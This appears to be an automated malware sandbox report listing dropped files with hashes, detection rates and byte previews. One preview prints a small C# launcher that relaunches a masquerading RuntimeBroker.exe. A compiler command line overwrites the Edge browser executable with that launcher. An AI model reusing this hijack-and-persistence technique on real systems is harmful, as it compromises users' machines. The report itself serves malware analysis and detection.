C:\Users\user\AppData\Local\Temp\xLeWyYh1fW

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xiLxvRpBYb

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.0.cs

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	4.985269740546796
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBL6LzIfiFkMSf+eBLu5j3iFkD:JNVQIbSfhWLzIiFkMSfh0jSFkD
MD5:	622899BB563C17F8517CB53DE570729F
SHA1:	0587BEED6042E86936E609C9EF239D8089FD46DC
SHA-256:	94068D8CB2D5DA87C3AAEA2D07259F901FDB2E47426D8768B30C3C4007A52EB0
SHA-512:	02B11AF585CECCE13B3DFD4534E78B2228B27DF3AB091E785DB9999C88BFF1EFB4F158CDB4D920F46051EF8F119A30421E34F75AED5CD54763B055C729D236B3
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\LiveKernelReports\RuntimeBroker.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.106435571346186
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRf5oeTckKBzxsjGZxWE8oN723fZMaQMNxn:Hu7L//TRRzscQnahwSx
MD5:	352EAA4E8013920152C2F8D9B3F9A1E9
SHA1:	11FC660AE48DBCD6892C87C684DA8174E0EB7F90
SHA-256:	C3983440F70051BDD5F9BBDC1121C07D7E6ABB3A84182DABB35F25FF2BDCBAA1
SHA-512:	5A43ED61517766AEC7866B9F05AB22E217F5749F5602984264C527579C670CEB3352A4B4DC46740C3296F0C867E17A9B5BDF64F3C20098053F984B441B4F2523
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.0.cs"

C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.out

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (350), with CRLF, CR line terminators
Category:	modified
Size (bytes):	771
Entropy (8bit):	5.256422972153224
Encrypted:	false
SSDEEP:	24:wMjI/un/VRzstnaFUKax5DqBVKVrdFAMBJTH:wMjN/VRzPFUK2DcVKdBJj
MD5:	35CB11D1A9E6E689880DB32BB1784109
SHA1:	4D61DF660A2DB681C81DE27FDC3B224D85C0CCC4
SHA-256:	48BE6764DC62D5B9AAB4801CB4BC649F43585B25BE8B053DA0BF44A246CBDE0D
SHA-512:	EAF953296BA76564F18E7573B4A3B7CC6ECEA44CF6BACA59C61254FB12B623B331440635E5A275CF5A891BC410DDBA6957ACF656B9C38B3649D5C3B753E983EB
Malicious:	false
Preview:	.C:\ServerWinRuntimeBroker> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\xvscHGCQKV

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xwQjogXwjK

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yJsjIzaQAt

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yu9aJp714O

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z6O1yWSgyB

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zRl4ghrSyq

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zSy2q65NVo

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\BLdnhdFQ.log

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Joe Sandbox View:	Filename: hz7DzW2Yop.exe, Detection: malicious, Browse Filename: 3XtEci4Mmo.exe, Detection: malicious, Browse Filename: wxl1r0lntg.exe, Detection: malicious, Browse Filename: HaLCYOFjMN.exe, Detection: malicious, Browse Filename: Z90Z9bYzPa.exe, Detection: malicious, Browse Filename: 0J5DzstGPi.exe, Detection: malicious, Browse Filename: 6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe, Detection: malicious, Browse Filename: aW6kSsgdvv.exe, Detection: malicious, Browse Filename: HMhdtzxEHf.exe, Detection: malicious, Browse Filename: kJrNOFEGbQ.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\JgiUHXBa.log

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\OTzTkTQO.log

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PHEbWhMM.log

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\SSuSBQke.log

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\XCTiUwVw.log

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ZPhRdffT.log

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\keVXUmFt.log

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\kmFpzVgz.log

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\pOvooSqL.log

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
